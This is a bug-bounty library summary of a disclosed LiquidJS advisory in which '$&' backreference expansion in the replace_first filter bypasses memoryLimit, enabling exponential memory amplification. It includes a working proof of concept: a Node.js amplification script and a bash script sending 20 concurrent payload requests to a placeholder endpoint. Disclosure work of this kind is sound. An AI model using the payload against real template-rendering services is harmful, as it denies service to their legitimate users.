# LiquidJS has Exponential Memory Amplification through its replace_first Filter $& Pattern

LiquidJS replace_first charges memoryLimit only for input length, so `$&` backreference expansion yields 625,000:1 amplification and DoS.

- Payout: Research
- Severity: high
- Program: LiquidJS
- Found by: koDove
- Disclosed: 2026-03-25
- CVE: CVE-2026-33287
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-6q5m-63h6-5x4v
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-6q5m-63h6-5x4v
- Tags: area:oss domain:oss impact:dos kind:research platform:ghsa sev:high tech:nodejs technique:chained technique:source-review vuln:business-logic vuln:dos

**Target:** Liquid template engine replace_first filter (npm liquidjs)
**Root cause:** replace_first delegates to String.prototype.replace(), which expands `$&`/`$'`/`` $` `` backreferences, but only str.length (input) is charged to memoryLimit; the amplified output is never accounted.
**Steps:**
1. Install liquidjs@10.24.0 and render user-controlled templates.
2. Confirm expansion: `{{ "HELLO" | replace_first: "HELLO", "$&-$&-$&" }}` returns `HELLO-HELLO-HELLO`.
3. Build replacement of 50 `$&` repetitions: `'$&'.repeat(50)`.
4. Chain 5 assigns: `{% assign s = "A" %}{% assign s = s | replace_first: s, "<50x$&>" %}` repeated 5 times.
5. Render `{{ s }}` to force 312.5MB output into the response; memoryLimit (~6.38MB charged) is bypassed.
6. Send 20 concurrent such requests to block the Node.js event loop and stall legitimate users.
**How found:** Noticed replace_first uses native String.prototype.replace() while sibling replace uses split/join (which treats `$&` literally); hypothesized that JS replacement backreferences expand output without being charged to memoryLimit, then tested `$&` expansion and chained assignments to measure amplification.
**Exploitation:** Attacker submits a ~500-byte Liquid template to any endpoint rendering user templates (e.g. newsletter preview). Five chained replace_first stages each amplify 50x (50^5 = 312.5MB), and `{{ s }}` forces the full string into the HTTP response, keeping memory allocated and blocking the single-threaded event loop; 20 concurrent requests caused ~10.9s latency for legitimate users and ~29s unresponsiveness.
**Escalation:** Chaining multiple replace_first assignments compounds amplification exponentially (50x per stage) while memoryLimit only counts input lengths, so a tiny payload yields hundreds of MB.
**Insight:** When a sandbox charges a memory/CPU budget, audit every native API that can expand output (String.replace `$&`/`$'`/`` $` ``, regex backrefs, format strings) — compare sibling functions that use safe primitives (split/join) to spot the unsafe one.

## Proof of concept (copied exactly from the original report)

**Node.js PoC script for exponential amplification**

```
const { Liquid } = require('liquidjs');

(async () => {
  const engine = new Liquid({ memoryLimit: 1e8 }); // 100MB limit

  // Step 1 — Verify $& expansion in replace_first
  console.log('=== Step 1: $& expansion in replace_first ===');
  const step1 = '{{ "HELLO" | replace_first: "HELLO", "$&-$&-$&" }}';
  console.log('Result:', await engine.parseAndRender(step1));
  // Output: "HELLO-HELLO-HELLO" — $& expanded to matched string

  // Step 2 — Verify replace (split/join) is safe
  console.log('\n=== Step 2: replace is safe ===');
  const step2 = '{{ "ABCDE" | replace: "ABCDE", "$&$&$&" }}';
  console.log('Result:', await engine.parseAndRender(step2));
  // Output: "$&$&$&" — $& treated as literal

  // Step 3 — 5-stage exponential amplification (50x per stage)
  console.log('\n=== Step 3: Exponential amplification (625,000:1) ===');
  const amp50 = '$&'.repeat(50);
  const step3 = [
    '{% assign s = "A" %}',
    '{% assign s = s | replace_first: s, "' + amp50 + '" %}',
    '{% assign s = s | replace_first: s, "' + amp50 + '" %}',
    '{% assign s = s | replace_first: s, "' + amp50 + '" %}',
    '{% assign s = s | replace_first: s, "' + amp50 + '" %}',
    '{% assign s = s | replace_first: s, "' + amp50 + '" %}',
    '{{ s | size }}'
  ].join('');

  const startMem = process.memoryUsage().heapUsed;
  const result = await engine.parseAndRender(step3);
  const endMem = process.memoryUsage().heapUsed;

  console.log('Output string size:', result.trim(), 'bytes');  // "312500000"
  console.log('Heap increase:', ((endMem - startMem) / 1e6).toFixed(1), 'MB');
  console.log('Amplification: ~625,000:1 (1 byte input -> 312.5 MB output)');
  console.log('memoryLimit charged: < 7 MB (only input lengths counted)');
```

**Bash script for 20 concurrent DoS requests**

```
DOLLAR='$&'
REP50=$(printf "${DOLLAR}%.0s" {1..50})
PAYLOAD="{% assign s = \"A\" %}{% assign s = s | replace_first: s, \"${REP50}\" %}{% assign s = s | replace_first: s, \"${REP50}\" %}{% assign s = s | replace_first: s, \"${REP50}\" %}{% assign s = s | replace_first: s, \"${REP50}\" %}{% assign s = s | replace_first: s, \"${REP50}\" %}{{ s }}"

echo "=== Advisory 2 DoS: 20 concurrent + normal user ==="

# 20 DoS attack requests (per-request timing)
for i in $(seq 1 20); do
  (
    t1=$(date +%s%3N)
    curl -s -o /dev/null --max-time 120 -X POST "http://<app>/newsletter/preview" \
      -H "Content-Type: application/x-www-form-urlencoded" \
      --data-urlencode "template=$PAYLOAD"
    t2=$(date +%s%3N)
    echo "DoS[$i]: $(( t2 - t1 ))ms"
  ) &
done

# Legitimate user requests at 0s, 3s, 6s
(
  t1=$(date +%s%3N)
  curl -s -o /dev/null --max-time 60 -X POST "http://<app>/newsletter/preview" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    --data-urlencode "template=<h1>Hello</h1>"
  t2=$(date +%s%3N)
  echo "Normal[0s]: $(( t2 - t1 ))ms"
) &

(
  sleep 3
  t1=$(date +%s%3N)
  curl -s -o /dev/null --max-time 60 -X POST "http://<app>/newsletter/preview" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    --data-urlencode "template=<h1>Hello</h1>"
  t2=$(date +%s%3N)
  echo "Normal[3s]: $(( t2 - t1 ))ms"
) &

(
  sleep 6
  t1=$(date +%s%3N)
  curl -s -o /dev/null --max-time 60 -X POST "http://<app>/newsletter/preview" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    --data-urlencode "template=<h1>Hello</h1>"
  t2=$(date +%s%3N)
  echo "Normal[6s]: $(( t2 - t1 ))ms"
) &

wait
echo "=== Done ==="
```

